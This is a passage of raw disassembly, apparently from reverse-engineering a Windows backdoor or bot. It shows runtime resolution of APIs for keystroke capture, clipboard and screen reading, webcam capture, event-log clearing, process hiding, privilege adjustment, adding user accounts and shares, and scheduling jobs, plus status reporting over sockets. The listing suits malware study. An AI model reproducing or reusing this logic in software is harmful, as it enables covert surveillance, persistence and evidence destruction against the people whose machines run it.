push [ebp+arg_0]
call dword_4CBA34 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409907
push 7D0h
call dword_427080 ; Sleep
locret_409907: ; CODE XREF: sub_409869+91j
leave
retn
sub_409869 endp
; =============== S U B R O U T I N E =======================================
sub_409909 proc near ; CODE XREF: sub_401221+4Bp
push ebx
push ebp
mov ebp, dword_4270A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4270C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A29
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CBA90, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CBA04, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB9E8, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB8F8, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB8A4, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB8D4, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB94C, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CBA44, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CBAA0, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB904, eax
call esi ; GetProcAddress
cmp dword_4CBA90, ebx
mov dword_4CB8EC, eax
jz short loc_409A07
cmp dword_4CBA04, ebx
jz short loc_409A07
cmp dword_4CB9E8, ebx
jz short loc_409A07
cmp dword_4CB8F8, ebx
jz short loc_409A07
cmp dword_4CB8D4, ebx
jz short loc_409A07
cmp dword_4CB94C, ebx
jz short loc_409A07
cmp dword_4CBA44, ebx
jz short loc_409A07
cmp dword_4CBAA0, ebx
jz short loc_409A07
cmp dword_4CB904, ebx
jz short loc_409A07
cmp eax, ebx
jnz short loc_409A11
loc_409A07: ; CODE XREF: sub_409909+B8j
; sub_409909+C0j ...
mov dword_4CBAA4, 1
loc_409A11: ; CODE XREF: sub_409909+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CBA1C, eax
jz short loc_409A3E
push 1
push ebx
call eax
jmp short loc_409A3E
; ---------------------------------------------------------------------------
loc_409A29: ; CODE XREF: sub_409909+1Dj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAA8, eax
mov dword_4CBAA4, 1
loc_409A3E: ; CODE XREF: sub_409909+117j
; sub_409909+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4270C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409B53
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CBA40, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB9F0, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB984, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CBA94, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB9B4, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB9D4, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CBA38, eax
call esi ; GetProcAddress
cmp dword_4CBA40, ebx
mov dword_4CB924, eax
jz short loc_409AF7
cmp dword_4CB9F0, ebx
jz short loc_409AF7
cmp dword_4CB984, ebx
jz short loc_409AF7
cmp dword_4CBA94, ebx
jz short loc_409AF7
cmp dword_4CB9B4, ebx
jz short loc_409AF7
cmp dword_4CB9D4, ebx
jz short loc_409AF7
cmp dword_4CBA38, ebx
jz short loc_409AF7
cmp eax, ebx
jnz short loc_409B01
loc_409AF7: ; CODE XREF: sub_409909+1B8j
; sub_409909+1C0j ...
mov dword_4CBAAC, 1
loc_409B01: ; CODE XREF: sub_409909+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB9B0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB8B8, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB980, eax
call esi ; GetProcAddress
cmp dword_4CB9B0, ebx
mov dword_4CB968, eax
jz short loc_409B5E
cmp dword_4CB8B8, ebx
jz short loc_409B5E
cmp dword_4CB980, ebx
jz short loc_409B5E
cmp eax, ebx
jnz short loc_409B68
jmp short loc_409B5E
; ---------------------------------------------------------------------------
loc_409B53: ; CODE XREF: sub_409909+144j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB0, eax
loc_409B5E: ; CODE XREF: sub_409909+232j
; sub_409909+23Aj ...
mov dword_4CBAAC, 1
loc_409B68: ; CODE XREF: sub_409909+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409D21
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CBA54, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB998, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CBA08, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB8E4, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB948, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB9C0, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB964, eax
call esi ; GetProcAddress
cmp dword_4CBA54, ebx
mov dword_4CB974, eax
jz short loc_409C11
cmp dword_4CB998, ebx
jz short loc_409C11
cmp dword_4CBA08, ebx
jz short loc_409C11
cmp dword_4CB8E4, ebx
jz short loc_409C11
cmp dword_4CB948, ebx
jz short loc_409C11
cmp dword_4CB9C0, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409909+2DEj
; sub_409909+2E6j ...
mov dword_4CBAB4, 1
loc_409C1B: ; CODE XREF: sub_409909+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB9C8, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB9A0, eax
call esi ; GetProcAddress
cmp dword_4CB9C8, ebx
mov dword_4CBA50, eax
jz short loc_409C56
cmp dword_4CB9A0, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
loc_409C56: ; CODE XREF: sub_409909+33Fj
; sub_409909+347j
mov dword_4CBAB4, 1
loc_409C60: ; CODE XREF: sub_409909+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB9D8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB8C0, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB8C8, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB92C, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB930, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB8DC, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB9A4, eax
call esi ; GetProcAddress
cmp dword_4CB9D8, ebx
mov dword_4CB8CC, eax
jz short loc_409D04
cmp dword_4CB8C0, ebx
jz short loc_409D04
cmp dword_4CB8C8, ebx
jz short loc_409D04
cmp dword_4CB92C, ebx
jz short loc_409D04
cmp dword_4CB930, ebx
jz short loc_409D04
cmp dword_4CB8DC, ebx
jz short loc_409D04
cmp dword_4CB9A4, ebx
jz short loc_409D04
cmp eax, ebx
jnz short loc_409D0E
loc_409D04: ; CODE XREF: sub_409909+3C5j
; sub_409909+3CDj ...
mov dword_4CBAB4, 1
loc_409D0E: ; CODE XREF: sub_409909+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CB8C4, eax
jnz short loc_409D36
jmp short loc_409D2C
; ---------------------------------------------------------------------------
loc_409D21: ; CODE XREF: sub_409909+26Aj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB8, eax
loc_409D2C: ; CODE XREF: sub_409909+416j
mov dword_4CBAB4, 1
loc_409D36: ; CODE XREF: sub_409909+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409E02
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB9D0, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CBA28, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CBA30, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB9EC, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB908, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB8B4, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CBA2C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB8A0, eax
call esi ; GetProcAddress
cmp dword_4CB9D0, ebx
mov dword_4CB940, eax
jz short loc_409E0D
cmp dword_4CBA28, ebx
jz short loc_409E0D
cmp dword_4CBA30, ebx
jz short loc_409E0D
cmp dword_4CB9EC, ebx
jz short loc_409E0D
cmp dword_4CB908, ebx
jz short loc_409E0D
cmp dword_4CB8B4, ebx
jz short loc_409E0D
cmp dword_4CBA2C, ebx
jz short loc_409E0D
cmp dword_4CB8A0, ebx
jz short loc_409E0D
cmp eax, ebx
jnz short loc_409E17
jmp short loc_409E0D
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409909+438j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC0, eax
loc_409E0D: ; CODE XREF: sub_409909+4B9j
; sub_409909+4C1j ...
mov dword_4CBABC, 1
loc_409E17: ; CODE XREF: sub_409909+4F5j
mov ebp, dword_4270C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A0D3
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB954, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CBA88, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB8F4, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB8D0, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB990, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB978, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4CB93C, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CBA64, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4CBA80, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB98C, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CBA70, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4CBA24, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4CB9E4, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB9E0, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB914, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_4CB90C, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4CBA34, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4CBA48, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB9FC, eax
call esi ; GetProcAddress
mov dword_4CB9BC, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4CBA10, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4CB9CC, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4CBA0C, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CBA78, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB9C4, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB988, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB9F8, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CBA68, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB99C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB938, eax
call esi ; GetProcAddress
cmp dword_4CB954, ebx
mov dword_4CBA7C, eax
jz loc_40A0DE
cmp dword_4CBA88, ebx
jz loc_40A0DE
cmp dword_4CB8F4, ebx
jz loc_40A0DE
cmp dword_4CB990, ebx
jz loc_40A0DE
cmp dword_4CB978, ebx
jz loc_40A0DE
cmp dword_4CB93C, ebx
jz loc_40A0DE
cmp dword_4CBA64, ebx
jz loc_40A0DE
cmp dword_4CBA80, ebx
jz loc_40A0DE
cmp dword_4CB98C, ebx
jz loc_40A0DE
cmp dword_4CBA70, ebx
jz loc_40A0DE
cmp dword_4CBA24, ebx
jz loc_40A0DE
cmp dword_4CB9E4, ebx
jz loc_40A0DE
cmp dword_4CB9E0, ebx
jz loc_40A0DE
cmp dword_4CB914, ebx
jz short loc_40A0DE
cmp dword_4CBA34, ebx
jz short loc_40A0DE
cmp dword_4CBA48, ebx
jz short loc_40A0DE
cmp dword_4CB9FC, ebx
jz short loc_40A0DE
cmp dword_4CB9BC, ebx
jz short loc_40A0DE
cmp dword_4CBA10, ebx
jz short loc_40A0DE
cmp dword_4CB9CC, ebx
jz short loc_40A0DE
cmp dword_4CBA0C, ebx
jz short loc_40A0DE
cmp dword_4CBA78, ebx
jz short loc_40A0DE
cmp dword_4CB9C4, ebx
jz short loc_40A0DE
cmp dword_4CB988, ebx
jz short loc_40A0DE
cmp dword_4CB9F8, ebx
jz short loc_40A0DE
cmp dword_4CBA68, ebx
jz short loc_40A0DE
cmp dword_4CB99C, ebx
jz short loc_40A0DE
cmp eax, ebx
jnz short loc_40A0E8
jmp short loc_40A0DE
; ---------------------------------------------------------------------------
loc_40A0D3: ; CODE XREF: sub_409909+51Fj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC8, eax
loc_40A0DE: ; CODE XREF: sub_409909+6BEj
; sub_409909+6CAj ...
mov dword_4CBAC4, 1
loc_40A0E8: ; CODE XREF: sub_409909+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A1ED
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB920, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB8A8, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB9AC, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB958, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB9B8, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB97C, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB8E8, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB8E0, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB8F0, eax
call esi ; GetProcAddress
cmp dword_4CB920, ebx
mov ecx, dword_4CB97C
mov dword_4CBA18, eax
jz short loc_40A1C9
cmp dword_4CB8A8, ebx
jz short loc_40A1C9
cmp dword_4CB9AC, ebx
jz short loc_40A1C9
cmp dword_4CB958, ebx
jz short loc_40A1C9
cmp dword_4CB9B8, ebx
jz short loc_40A1C9
cmp ecx, ebx
jz short loc_40A1C9
cmp dword_4CB8E8, ebx
jz short loc_40A1C9
cmp dword_4CB8E0, ebx
jz short loc_40A1C9
cmp dword_4CB8F0, ebx
jz short loc_40A1C9
cmp eax, ebx
jnz short loc_40A1D3
loc_40A1C9: ; CODE XREF: sub_409909+87Ej
; sub_409909+886j ...
mov dword_4CBACC, 1
loc_40A1D3: ; CODE XREF: sub_409909+8BEj
cmp ecx, ebx
jz short loc_40A208
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4CB994, eax
jnz short loc_40A208
jmp short loc_40A202
; ---------------------------------------------------------------------------
loc_40A1ED: ; CODE XREF: sub_409909+7EAj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD0, eax
mov dword_4CBACC, 1
loc_40A202: ; CODE XREF: sub_409909+8E2j
mov dword_4CB994, ebx
loc_40A208: ; CODE XREF: sub_409909+8CCj
; sub_409909+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A252
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB96C, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CBA9C, eax
call esi ; GetProcAddress
cmp dword_4CB96C, ebx
mov dword_4CB8FC, eax
jz short loc_40A25D
cmp dword_4CBA9C, ebx
jz short loc_40A25D
cmp eax, ebx
jnz short loc_40A267
jmp short loc_40A25D
; ---------------------------------------------------------------------------
loc_40A252: ; CODE XREF: sub_409909+90Aj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD8, eax
loc_40A25D: ; CODE XREF: sub_409909+939j
; sub_409909+941j ...
mov dword_4CBAD4, 1
loc_40A267: ; CODE XREF: sub_409909+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A36E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB8D8, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB8B0, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB928, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB95C, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CBA74, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB910, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB8BC, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB8AC, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB944, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CBA3C, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB9F4, eax
call esi ; GetProcAddress
cmp dword_4CB8D8, ebx
mov dword_4CB918, eax
jz short loc_40A379
cmp dword_4CB8B0, ebx
jz short loc_40A379
cmp dword_4CB928, ebx
jz short loc_40A379
cmp dword_4CB95C, ebx
jz short loc_40A379
cmp dword_4CBA74, ebx
jz short loc_40A379
cmp dword_4CB910, ebx
jz short loc_40A379
cmp dword_4CB8BC, ebx
jz short loc_40A379
cmp dword_4CB8AC, ebx
jz short loc_40A379
cmp dword_4CB944, ebx
jz short loc_40A379
cmp dword_4CBA3C, ebx
jz short loc_40A379
cmp dword_4CB9F4, ebx
jnz short loc_40A383
jmp short loc_40A379
; ---------------------------------------------------------------------------
loc_40A36E: ; CODE XREF: sub_409909+969j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE0, eax
loc_40A379: ; CODE XREF: sub_409909+A11j
; sub_409909+A19j ...
mov dword_4CBADC, 1
loc_40A383: ; CODE XREF: sub_409909+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A3B8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB900, eax
call esi ; GetProcAddress
cmp dword_4CB900, ebx
mov dword_4CB9DC, eax
jz short loc_40A3C3
cmp eax, ebx
jnz short loc_40A3CD
jmp short loc_40A3C3
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: sub_409909+A85j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE8, eax
loc_40A3C3: ; CODE XREF: sub_409909+AA7j
; sub_409909+AADj
mov dword_4CBAE4, 1
loc_40A3CD: ; CODE XREF: sub_409909+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A402
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CBA60, eax
call esi ; GetProcAddress
cmp dword_4CBA60, ebx
mov dword_4CBA5C, eax
jz short loc_40A40D
cmp eax, ebx
jnz short loc_40A417
jmp short loc_40A40D
; ---------------------------------------------------------------------------
loc_40A402: ; CODE XREF: sub_409909+ACFj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF0, eax
loc_40A40D: ; CODE XREF: sub_409909+AF1j
; sub_409909+AF7j
mov dword_4CBAEC, 1
loc_40A417: ; CODE XREF: sub_409909+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A476
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CBA8C, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CBA84, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CBA4C, eax
call esi ; GetProcAddress
cmp dword_4CBA8C, ebx
mov dword_4CB91C, eax
jz short loc_40A481
cmp dword_4CBA84, ebx
jz short loc_40A481
cmp dword_4CBA4C, ebx
jz short loc_40A481
cmp eax, ebx
jnz short loc_40A48B
jmp short loc_40A481
; ---------------------------------------------------------------------------
loc_40A476: ; CODE XREF: sub_409909+B19j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF8, eax
loc_40A481: ; CODE XREF: sub_409909+B55j
; sub_409909+B5Dj ...
mov dword_4CBAF4, 1
loc_40A48B: ; CODE XREF: sub_409909+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A4C0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB950, eax
call esi ; GetProcAddress
cmp dword_4CB950, ebx
mov dword_4CBA58, eax
jz short loc_40A4CB
cmp eax, ebx
jnz short loc_40A4D5
jmp short loc_40A4CB
; ---------------------------------------------------------------------------
loc_40A4C0: ; CODE XREF: sub_409909+B8Dj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBB00, eax
loc_40A4CB: ; CODE XREF: sub_409909+BAFj
; sub_409909+BB5j
mov dword_4CBAFC, 1
loc_40A4D5: ; CODE XREF: sub_409909+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A55E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CBA20, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CBA6C, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB9A8, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB960, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CBA00, eax
call esi ; GetProcAddress
cmp dword_4CBA20, ebx
mov dword_4CB970, eax
jz short loc_40A569
cmp dword_4CBA6C, ebx
jz short loc_40A569
cmp dword_4CB9A8, ebx
jz short loc_40A569
cmp dword_4CB960, ebx
jz short loc_40A569
cmp dword_4CBA00, ebx
jz short loc_40A569
cmp eax, ebx
jnz short loc_40A573
jmp short loc_40A569
; ---------------------------------------------------------------------------
loc_40A55E: ; CODE XREF: sub_409909+BD7j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBB08, eax
loc_40A569: ; CODE XREF: sub_409909+C2Dj
; sub_409909+C35j ...
mov dword_4CBB04, 1
loc_40A573: ; CODE XREF: sub_409909+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A5A8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB934, eax
call esi ; GetProcAddress
cmp dword_4CB934, ebx
mov dword_4CBA14, eax
jz short loc_40A5B3
cmp eax, ebx
jnz short loc_40A5BD
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5A8: ; CODE XREF: sub_409909+C75j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBB10, eax
loc_40A5B3: ; CODE XREF: sub_409909+C97j
; sub_409909+C9Dj
mov dword_4CBB0C, 1
loc_40A5BD: ; CODE XREF: sub_409909+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CBAA4, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A60D
push dword_4CBAA8
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj
cmp dword_4CBAAC, esi
jz short loc_40A641
push dword_4CBAB0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A641: ; CODE XREF: sub_40A5C5+4Ej
cmp dword_4CBAB4, esi
jz short loc_40A675
push dword_4CBAB8
lea eax, [ebp+var_200]
